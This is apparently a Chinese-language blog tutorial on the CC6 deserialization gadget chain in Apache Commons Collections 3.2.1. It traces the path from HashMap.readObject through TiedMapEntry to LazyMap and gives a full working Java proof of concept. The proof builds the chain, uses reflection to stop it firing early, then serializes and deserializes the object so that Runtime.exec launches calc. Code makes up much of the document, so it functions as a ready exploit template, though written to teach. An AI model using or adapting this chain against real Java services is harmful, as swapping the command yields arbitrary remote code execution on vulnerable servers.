CC6链分析
CC6链的分析
环境:
jdk版本任意,我用的是jdk8_66
CommonsCollections3.2.1
学习完CC1的两种利用链之后,学习这个链就很轻松了,也是接着分析
这次分析的是图中红色的链
CC1链-LazyMap链利用分析 - kudo4869 - 博客园
分析
同样,我们来到漏洞的产生点,LazyMap类中get()中调用了transform(),LazyMap可以通过静态docorate方法生成
我们找get()方法被谁调用,也是直接说找到的结果了,TiedMapEntry中的getValue()方法使用了get方法,LazyMap类实现了Map接口的get方法,所以此处的map得是LazyMap,我们继续往上找
类中的hashcode()方法用到了getValue()方法
后面学习过urldns链的应该可以联想到HashMap中的反序列化readObject中有写了putVal(),其中有hashcode的调用。这也就是为什么这条链的通用性很强,不需要jdk版本的依赖
此处的key应为TiedMapEntry
这样我们就可以写一个比较简单的poc,然后慢慢调试
这是TiedMapEntry的构造方法,直接new,注意下构造函数的第二个参数,没有用到,但是保证能序列化,随意传一个可序列化对象即可
目前的poc
Transformer[] transformerArray = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
// 2. 创建LazyMap对象
LazyMap lazyMap = (LazyMap)LazyMap.decorate(new HashMap(), chainedTransformer);
// 3. TiedMapEntry.getValue()方法,会调用map.get(),其中将map属性设置为LazyMap对象
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, new String());
// 构造HashMap
HashMap<Object,Object> hashMap = new HashMap();
hashMap.put(tiedMapEntry,"b");
但发现我还没有进行序列化就已经可以弹出计算器了
原因简单,其实就是hashMap.put时就已经把整个链走过一次了,也好绕过,通过java反射的动态特性绕过
思路是将tiedMapEntry中的lazymap通过反射修改,意思就是我们可以先传一个空map,绕过使用put函数时tiedMapEntry包含lazymap,然后通过反射修改修改tiedMapEntry中的map为lazymap,所以我们反射得写在put后面
这样修改之后就反序列化之前不会弹出计算器了,而反序列化会弹出计算器
POC:
public class CC6Test {
public static void main(String[] args) throws Exception {
Transformer[] transformerArray = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
// 2. 创建恶意LazyMap对象
LazyMap lazyMap = (LazyMap)LazyMap.decorate(new HashMap(),chainedTransformer);
// 3. TiedMapEntry.getValue()方法,会调用map.get(),其中将map属性设置为LazyMap对象(通过反射)
//这里我们随便传一个map进去就行
TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(),new String());
// 构造HashMap
HashMap<Object,Object> hashMap = new HashMap();
hashMap.put(tiedMapEntry,"b");
//通过反射修改tiedMapEntry中的map变成lazyMap
Class tiedMapEntryClass = java.lang.Class.forName("org.apache.commons.collections.keyvalue.TiedMapEntry");
Field mapField = tiedMapEntryClass.getDeclaredField("map");
mapField.setAccessible(true);
mapField.set(tiedMapEntry,lazyMap);
//序列化
new ObjectOutputStream(new FileOutputStream("ser1.bin")).writeObject(hashMap);
//反序列化
new ObjectInputStream(new FileInputStream("ser1.bin")).readObject();
}
}
}
成功执行